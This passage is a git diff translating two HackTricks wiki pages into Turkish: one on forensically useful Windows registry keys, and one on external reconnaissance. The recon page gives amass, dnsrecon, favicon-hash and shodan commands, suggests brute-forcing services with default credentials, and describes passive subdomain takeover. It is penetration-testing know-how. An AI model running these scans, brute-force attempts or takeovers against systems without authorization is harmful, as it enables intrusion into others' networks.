840b910bc..d9068df98 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,101 +1,101 @@ -# Interesting Windows Registry Keys +# İlginç Windows Kayıt Defteri Anahtarları -### Interesting Windows Registry Keys +### İlginç Windows Kayıt Defteri Anahtarları {{#include ../../../banners/hacktricks-training.md}} -### **Windows Version and Owner Info** +### **Windows Sürümü ve Sahibi Bilgileri** -- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner. +- **`Software\Microsoft\Windows NT\CurrentVersion`** altında, Windows sürümü, Servis Paketi, kurulum zamanı ve kayıtlı sahibin adı basit bir şekilde bulunur. -### **Computer Name** +### **Bilgisayar Adı** -- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Host adı **`System\ControlSet001\Control\ComputerName\ComputerName`** altında bulunur. -### **Time Zone Setting** +### **Saat Dilimi Ayarı** -- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**. +- Sistem saat dilimi **`System\ControlSet001\Control\TimeZoneInformation`** içinde saklanır. -### **Access Time Tracking** +### **Erişim Zamanı Takibi** -- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use: - `fsutil behavior set disablelastaccess 0` +- Varsayılan olarak, son erişim zamanı takibi kapalıdır (**`NtfsDisableLastAccessUpdate=1`**). Bunu etkinleştirmek için: +`fsutil behavior set disablelastaccess 0` kullanın. -### Windows Versions and Service Packs +### Windows Sürümleri ve Servis Paketleri -- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features. +- **Windows sürümü**, sürümü (örneğin, Home, Pro) ve sürümünü (örneğin, Windows 10, Windows 11) belirtirken, **Servis Paketleri** düzeltmeler ve bazen yeni özellikler içeren güncellemelerdir. -### Enabling Last Access Time +### Son Erişim Zamanını Etkinleştirme -- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring. +- Son erişim zamanı takibini etkinleştirmek, dosyaların en son ne zaman açıldığını görmenizi sağlar; bu, adli analiz veya sistem izleme için kritik olabilir. -### Network Information Details +### Ağ Bilgileri Detayları -- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions. +- Kayıt defteri, **ağ türleri (kablosuz, kablolu, 3G)** ve **ağ kategorileri (Genel, Özel/Ev, Alan/İş)** dahil olmak üzere ağ yapılandırmaları hakkında kapsamlı veriler tutar; bu, ağ güvenlik ayarlarını ve izinlerini anlamak için hayati öneme sahiptir. -### Client Side Caching (CSC) +### İstemci Tarafı Önbellekleme (CSC) -- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity. +- **CSC**, paylaşılan dosyaların kopyalarını önbelleğe alarak çevrimdışı dosya erişimini artırır. Farklı **CSCFlags** ayarları, hangi dosyaların ve nasıl önbelleğe alınacağını kontrol eder, bu da performansı ve kullanıcı deneyimini etkiler, özellikle kesintili bağlantıların olduğu ortamlarda. -### AutoStart Programs +### Otomatik Başlatılan Programlar -- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software. +- Çeşitli `Run` ve `RunOnce` kayıt defteri anahtarlarında listelenen programlar, başlangıçta otomatik olarak başlatılır, bu da sistem açılış süresini etkiler ve kötü amaçlı yazılım veya istenmeyen yazılımları tanımlamak için ilgi noktaları olabilir. ### Shellbags -- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means. +- **Shellbags**, yalnızca klasör görünüm tercihlerini saklamakla kalmaz, aynı zamanda klasör artık mevcut olmasa bile klasör erişiminin adli kanıtını sağlar. Diğer yollarla belirgin olmayan kullanıcı etkinliğini ortaya çıkardığı için soruşturmalar için değerlidir. -### USB Information and Forensics +### USB Bilgileri ve Adli Analiz -- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents. +- Kayıt defterinde saklanan USB cihazlarıyla ilgili detaylar, bir bilgisayara hangi cihazların bağlandığını izlemeye yardımcı olabilir ve potansiyel olarak bir cihazı hassas dosya transferleri veya yetkisiz erişim olaylarıyla ilişkilendirebilir. -### Volume Serial Number +### Hacim Seri Numarası -- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices. +- **Hacim Seri Numarası**, dosya sisteminin belirli bir örneğini izlemek için kritik olabilir; bu, dosya kökeninin farklı cihazlar arasında belirlenmesi gereken adli senaryolar için faydalıdır. -### **Shutdown Details** +### **Kapatma Detayları** -- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**. +- Kapatma zamanı ve sayısı (ikincisi yalnızca XP için) **`System\ControlSet001\Control\Windows`** ve **`System\ControlSet001\Control\Watchdog\Display`** içinde saklanır. -### **Network Configuration** +### **Ağ Yapılandırması** -- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. +- Ayrıntılı ağ arayüzü bilgileri için **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**'e bakın. +- İlk ve son ağ bağlantı zamanları, VPN bağlantıları dahil olmak üzere, **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`** altında çeşitli yollarla kaydedilir. -### **Shared Folders** +### **Paylaşılan Klasörler** -- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability. +- Paylaşılan klasörler ve ayarlar **`System\ControlSet001\Services\lanmanserver\Shares`** altında bulunur. İstemci tarafı önbellekleme (CSC) ayarları çevrimdışı dosya kullanılabilirliğini belirler. -### **Programs that Start Automatically** +### **Otomatik Başlatılan Programlar** -- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup. +- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** gibi yollar ve `Software\Microsoft\Windows\CurrentVersion` altında benzer girişler, başlangıçta çalışacak şekilde ayarlanmış programları detaylandırır. -### **Searches and Typed Paths** +### **Aramalar ve Yazılan Yollar** -- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively. +- Gezginde yapılan aramalar ve yazılan yollar, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** altında WordwheelQuery ve TypedPaths için kaydedilir. -### **Recent Documents and Office Files** +### **Son Belgeler ve Ofis Dosyaları** -- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths. +- Erişilen son belgeler ve Ofis dosyaları, `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` ve belirli Ofis sürüm yollarında not edilir. -### **Most Recently Used (MRU) Items** +### **En Son Kullanılan (MRU) Öğeler** -- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`. +- Son dosya yolları ve komutları gösteren MRU listeleri, `NTUSER.DAT` altında çeşitli `ComDlg32` ve `Explorer` alt anahtarlarında saklanır. -### **User Activity Tracking** +### **Kullanıcı Etkinliği Takibi** -- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. +- Kullanıcı Yardımcı özelliği, **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`** altında çalıştırma sayısı ve son çalıştırma zamanı dahil olmak üzere ayrıntılı uygulama kullanım istatistiklerini kaydeder. -### **Shellbags Analysis** +### **Shellbags Analizi** -- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis. +- Klasör erişim detaylarını ortaya çıkaran Shellbags, `Software\Microsoft\Windows\Shell` altında `USRCLASS.DAT` ve `NTUSER.DAT` içinde saklanır. Analiz için **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** kullanın. -### **USB Device History** +### **USB Cihaz Geçmişi** -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps. -- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**. -- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively. +- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** ve **`HKLM\SYSTEM\ControlSet001\Enum\USB`** bağlı USB cihazları hakkında zengin detaylar içerir; bunlar arasında üretici, ürün adı ve bağlantı zaman damgaları bulunur. +- Belirli bir USB cihazıyla ilişkili kullanıcı, cihazın **{GUID}**'sini arayarak `NTUSER.DAT` hives içinde belirlenebilir. +- Son takılı cihaz ve hacim seri numarası, sırasıyla `System\MountedDevices` ve `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` üzerinden izlenebilir. -This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability. +Bu kılavuz, Windows sistemlerinde ayrıntılı sistem, ağ ve kullanıcı etkinliği bilgilerine erişim için kritik yolları ve yöntemleri özetler, açıklık ve kullanılabilirlik hedefler. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index ef4a9559e..22d36a377 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -1,49 +1,41 @@ -# External Recon Methodology +# Dış Recon Metodolojisi {{#include ../../banners/hacktricks-training.md}} -
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +## Varlık keşifleri -{% embed url="https://www.stmcyber.com/careers" %} +> Yani, bir şirkete ait her şeyin kapsamda olduğu söylendi ve bu şirketin aslında neye sahip olduğunu anlamak istiyorsunuz. -## Assets discoveries +Bu aşamanın amacı, **ana şirketin sahip olduğu tüm şirketleri** ve ardından bu şirketlerin **varlıklarını** elde etmektir. Bunu yapmak için: -> So you were said that everything belonging to some company is inside the scope, and you want to figure out what this company actually owns. +1. Ana şirketin satın almalarını bulmak, bu bize kapsam içindeki şirketleri verecektir. +2. Her şirketin ASN'sini (varsa) bulmak, bu bize her şirketin sahip olduğu IP aralıklarını verecektir. +3. İlkine bağlı diğer girişleri (organizasyon isimleri, alan adları...) aramak için ters whois sorgulamaları kullanmak (bu yinelemeli olarak yapılabilir). +4. Diğer varlıkları aramak için shodan `org` ve `ssl` filtreleri gibi diğer teknikleri kullanmak (bu `ssl` hilesi yinelemeli olarak yapılabilir). -The goal of this phase is to obtain all the **companies owned by the main company** and then all the **assets** of these companies. To do so, we are going to: +### **Satın Almalar** -1. Find the acquisitions of the main company, this will give us the companies inside the scope. -2. Find the ASN (if any) of each company, this will give us the IP ranges owned by each company -3. Use reverse whois lookups to search for other entries (organisation names, domains...) related to the first one (this can be done recursively) -4. Use other techniques like shodan `org`and `ssl`filters to search for other assets (the `ssl` trick can be done recursively). +Öncelikle, **ana şirketin sahip olduğu diğer şirketleri** bilmemiz gerekiyor.\ +Bir seçenek, [https://www.crunchbase.com/](https://www.crunchbase.com) adresini ziyaret etmek, **ana şirketi** **arama** yapmak ve "**satın almalar**" seçeneğine **tıklamak**. Orada ana şirket tarafından edinilen diğer şirketleri göreceksiniz.\ +Diğer bir seçenek, ana şirketin **Wikipedia** sayfasını ziyaret etmek ve **satın almaları** aramaktır. -### **Acquisitions** - -First of all, we need to know which **other companies are owned by the main company**.\ -One option is to visit [https://www.crunchbase.com/](https://www.crunchbase.com), **search** for the **main company**, and **click** on "**acquisitions**". There you will see other companies acquired by the main one.\ -Other option is to visit the **Wikipedia** page of the main company and search for **acquisitions**. - -> Ok, at this point you should know all the companies inside the scope. Lets figure out how to find their assets. +> Tamam, bu noktada kapsam içindeki tüm şirketleri bilmelisiniz. Şimdi varlıklarını nasıl bulacağımıza bakalım. ### **ASNs** -An autonomous system number (**ASN**) is a **unique number** assigned to an **autonomous system** (AS) by the **Internet Assigned Numbers Authority (IANA)**.\ -An **AS** consists of **blocks** of **IP addresses** which have a distinctly defined policy for accessing external networks and are administered by a single organisation but may be made up of several operators. - -It's interesting to find if the **company have assigned any ASN** to find its **IP ranges.** It will be interested to perform a **vulnerability test** against all the **hosts** inside the **scope** and **look for domains** inside these IPs.\ -You can **search** by company **name**, by **IP** or by **domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\ -**Depending on the region of the company this links could be useful to gather more data:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(North America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(Latin America),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Anyway, probably all the** useful information **(IP ranges and Whois)** appears already in the first link. +Otonom sistem numarası (**ASN**), **Internet Assigned Numbers Authority (IANA)** tarafından bir **otonom sisteme** (AS) atanan **benzersiz bir numaradır**.\ +Bir **AS**, dış ağlara erişim için belirgin bir politikaya sahip olan ve tek bir organizasyon tarafından yönetilen **IP adresleri blokları** içerir, ancak birden fazla operatörden oluşabilir. +**Şirketin herhangi bir ASN atayıp atamadığını** bulmak, **IP aralıklarını** bulmak için ilginçtir. Kapsam içindeki tüm **hostlar** üzerinde bir **zafiyet testi** gerçekleştirmek ve bu IP'ler içindeki **alan adlarını** aramak ilginç olacaktır.\ +[**https://bgp.he.net/**](https://bgp.he.net)** adresinde şirket **adı**, **IP** veya **alan adı** ile **arama** yapabilirsiniz.\ +**Şirketin bulunduğu bölgeye bağlı olarak bu bağlantılar daha fazla veri toplamak için faydalı olabilir:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Kuzey Amerika),** [**APNIC**](https://www.apnic.net) **(Asya),** [**LACNIC**](https://www.lacnic.net) **(Latin Amerika),** [**RIPE NCC**](https://www.ripe.net) **(Avrupa). Her neyse, muhtemelen tüm** faydalı bilgiler **(IP aralıkları ve Whois)** zaten ilk bağlantıda görünmektedir. ```bash #You can try "automate" this with amass, but it's not very recommended amass intel -org tesla amass intel -asn 8911,50313,394161 ``` - -Also, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** subdomain enumeration automatically aggregates and summarizes ASNs at the end of the scan. - +Ayrıca, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'nin** alt alan adları belirlemesi, taramanın sonunda ASN'leri otomatik olarak toplar ve özetler. ```bash bbot -t tesla.com -f subdomain-enum ... @@ -60,62 +52,59 @@ bbot -t tesla.com -f subdomain-enum [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ ``` - You can find the IP ranges of an organisation also using [http://asnlookup.com/](http://asnlookup.com) (it has free API).\ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4info.com). -### **Looking for vulnerabilities** +### **Zafiyetleri Arama** -At this point we known **all the assets inside the scope**, so if you are allowed you could launch some **vulnerability scanner** (Nessus, OpenVAS) over all the hosts.\ -Also, you could launch some [**port scans**](../pentesting-network/#discovering-hosts-from-the-outside) **or use services like** shodan **to find** open ports **and depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +Bu noktada **kapsam içindeki tüm varlıkları** biliyoruz, bu yüzden izin verilirse tüm hostlar üzerinde bazı **zafiyet tarayıcıları** (Nessus, OpenVAS) başlatabilirsiniz.\ +Ayrıca, bazı [**port taramaları**](../pentesting-network/#discovering-hosts-from-the-outside) **başlatabilir veya** shodan **gibi hizmetleri kullanarak** açık portları **bulabilirsiniz ve bulduklarınıza bağlı olarak bu kitapta çeşitli hizmetleri nasıl pentest edeceğinize bakmalısınız.**\ +**Ayrıca, bazı** varsayılan kullanıcı adı **ve** şifre **listeleri hazırlamanın da faydalı olabileceğini ve** [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) ile hizmetleri** brute force **denemesi yapabileceğinizi belirtmek gerekir.** -## Domains +## Alan Adları -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +> Kapsam içindeki tüm şirketleri ve varlıklarını biliyoruz, şimdi kapsam içindeki alan adlarını bulma zamanı. -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +_Lütfen, aşağıda önerilen tekniklerde alt alan adlarını da bulabileceğinizi ve bu bilginin küçümsenmemesi gerektiğini unutmayın._ -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. +Öncelikle her şirketin **ana alan adını** aramalısınız. Örneğin, _Tesla Inc._ için _tesla.com_ olacaktır. -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **Ters DNS** +Alan adlarının tüm IP aralıklarını bulduğunuzda, bu **IP'ler üzerinde daha fazla alan adı bulmak için** **ters dns sorguları** gerçekleştirmeyi deneyebilirsiniz. Kurbanın bazı dns sunucularını veya bazı iyi bilinen dns sunucularını (1.1.1.1, 8.8.8.8) kullanmaya çalışın. ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +Bunun çalışması için, yöneticinin PTR'yi manuel olarak etkinleştirmesi gerekir.\ +Bu bilgi için çevrimiçi bir araç da kullanabilirsiniz: [http://ptrarchive.com/](http://ptrarchive.com) -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +### **Ters Whois (döngü)** -### **Reverse Whois (loop)** +Bir **whois** içinde **kuruluş adı**, **adres**, **e-postalar**, telefon numaraları gibi birçok ilginç **bilgi** bulabilirsiniz... Ancak daha da ilginç olan, bu alanlardan herhangi biriyle **ters whois sorguları** yaparsanız **şirketle ilgili daha fazla varlık** bulabilmenizdir (örneğin, aynı e-postanın göründüğü diğer whois kayıtları).\ +Aşağıdaki çevrimiçi araçları kullanabilirsiniz: -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Ücretsiz** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Ücretsiz** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Ücretsiz** +- [https://www.whoxy.com/](https://www.whoxy.com) - **Ücretsiz** web, ücretsiz olmayan API. +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Ücretsiz değil +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Ücretsiz Değil (sadece **100 ücretsiz** arama) +- [https://www.domainiq.com/](https://www.domainiq.com) - Ücretsiz Değil -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +Bu görevi [**DomLink** ](https://github.com/vysecurity/DomLink) kullanarak otomatikleştirebilirsiniz (bir whoxy API anahtarı gerektirir).\ +Ayrıca [amass](https://github.com/OWASP/Amass) ile bazı otomatik ters whois keşifleri gerçekleştirebilirsiniz: `amass intel -d tesla.com -whois` -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +**Yeni bir alan adı bulduğunuzda daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.** -**Note that you can use this technique to discover more domain names every time you find a new domain.** +### **İzleyiciler** -### **Trackers** +Eğer 2 farklı sayfada **aynı izleyicinin aynı ID'sini** bulursanız, **her iki sayfanın** da **aynı ekip tarafından yönetildiğini** varsayabilirsiniz.\ +Örneğin, birkaç sayfada aynı **Google Analytics ID'sini** veya aynı **Adsense ID'sini** görüyorsanız. -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. - -There are some pages and tools that let you search by these trackers and more: +Bu izleyicilerle ve daha fazlasıyla arama yapmanıza olanak tanıyan bazı sayfalar ve araçlar vardır: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -125,113 +114,99 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +Hedefimize ait ilgili alan adlarını ve alt alan adlarını aynı favicon simgesi hash'ini arayarak bulabileceğimizi biliyor muydunuz? Bu, [@m4ll0k2](https://twitter.com/m4ll0k2) tarafından yapılan [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) aracının tam olarak yaptığı şeydir. İşte nasıl kullanacağınız: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - aynı favicon simgesi hash'ine sahip alan adlarını keşfedin](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +Basitçe söylemek gerekirse, favihash hedefimizle aynı favicon simgesi hash'ine sahip alan adlarını keşfetmemizi sağlar. +Ayrıca, favicon hash'ini kullanarak teknolojileri arayabilirsiniz, [**bu blog yazısında**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) açıklandığı gibi. Yani, eğer bir web teknolojisinin savunmasız bir sürümünün **favicon hash'ini** biliyorsanız, shodan'da arama yapabilir ve **daha fazla savunmasız yer bulabilirsiniz**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +Bu, bir web'in **favicon hash'ini nasıl hesaplayabileceğinizdir**: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **Telif Hakkı / Eşsiz Dize** -### **Copyright / Uniq string** +Web sayfalarında **aynı organizasyondaki farklı weblerde paylaşılabilecek dizeleri** arayın. **Telif hakkı dizesi** iyi bir örnek olabilir. Ardından bu dizeyi **google**, diğer **tarayıcılarda** veya hatta **shodan**'da arayın: `shodan search http.html:"Copyright string"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **CRT Zamanı** +Genellikle bir cron işi olması yaygındır. ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +tüm alan sertifikalarını sunucuda yenilemek. Bu, kullanılan CA'nın geçerlilik süresinde oluşturulma zamanını ayarlamasa bile, **sertifika şeffaflık günlüklerinde aynı şirkete ait alanları bulmanın mümkün olduğu** anlamına gelir.\ +Daha fazla bilgi için bu [**yazıya göz atın**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### Mail DMARC bilgileri -### Mail DMARC information +**DMARC bilgilerini paylaşan alanları ve alt alanları bulmak için** [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) gibi bir web sitesi veya [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) gibi bir araç kullanabilirsiniz. -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +### **Pasif Ele Geçirme** -### **Passive Takeover** +Görünüşe göre, insanların alt alanları bulut sağlayıcılarına ait IP'lere ataması ve bir noktada **o IP adresini kaybetmesi ama DNS kaydını silmeyi unutmaları** yaygındır. Bu nedenle, sadece bir bulutta (Digital Ocean gibi) **bir VM oluşturmak**, aslında **bazı alt alanları ele geçirmek** anlamına gelir. -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**Bu yazı**](https://kmsec.uk/blog/passive-takeover/) bununla ilgili bir hikaye anlatıyor ve **DigitalOcean'da bir VM oluşturan**, **yeni makinenin** **IPv4'ünü alan** ve **buna işaret eden alt alan kayıtlarını Virustotal'da arayan** bir betik öneriyor. -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **Diğer yollar** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**Yeni bir alan bulduğunuzda daha fazla alan adı keşfetmek için bu tekniği kullanabileceğinizi unutmayın.** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +IP alanına sahip olan kuruluşun adını zaten biliyorsunuz. Bu veriyi shodan'da aramak için: `org:"Tesla, Inc."` kullanabilirsiniz. TLS sertifikasında yeni beklenmedik alanlar için bulunan ana bilgisayarları kontrol edin. -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +Ana web sayfasının **TLS sertifikasına** erişebilir, **Kuruluş adını** alabilir ve ardından **shodan** tarafından bilinen tüm web sayfalarının **TLS sertifikaları** içinde o adı arayabilirsiniz; filtre olarak: `ssl:"Tesla Motors"` kullanabilir veya [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) gibi bir araç kullanabilirsiniz. **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder), bir ana alanla ilişkili **alanları** ve **alt alanlarını** arayan bir araçtır, oldukça etkileyici. -### **Looking for vulnerabilities** +### **Zafiyet arama** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +Bazı [alan ele geçirme](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover) durumlarını kontrol edin. Belki de bir şirket **bir alan kullanıyor** ama **sahipliğini kaybetti**. Sadece kaydedin (eğer yeterince ucuzsa) ve şirketi bilgilendirin. -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic 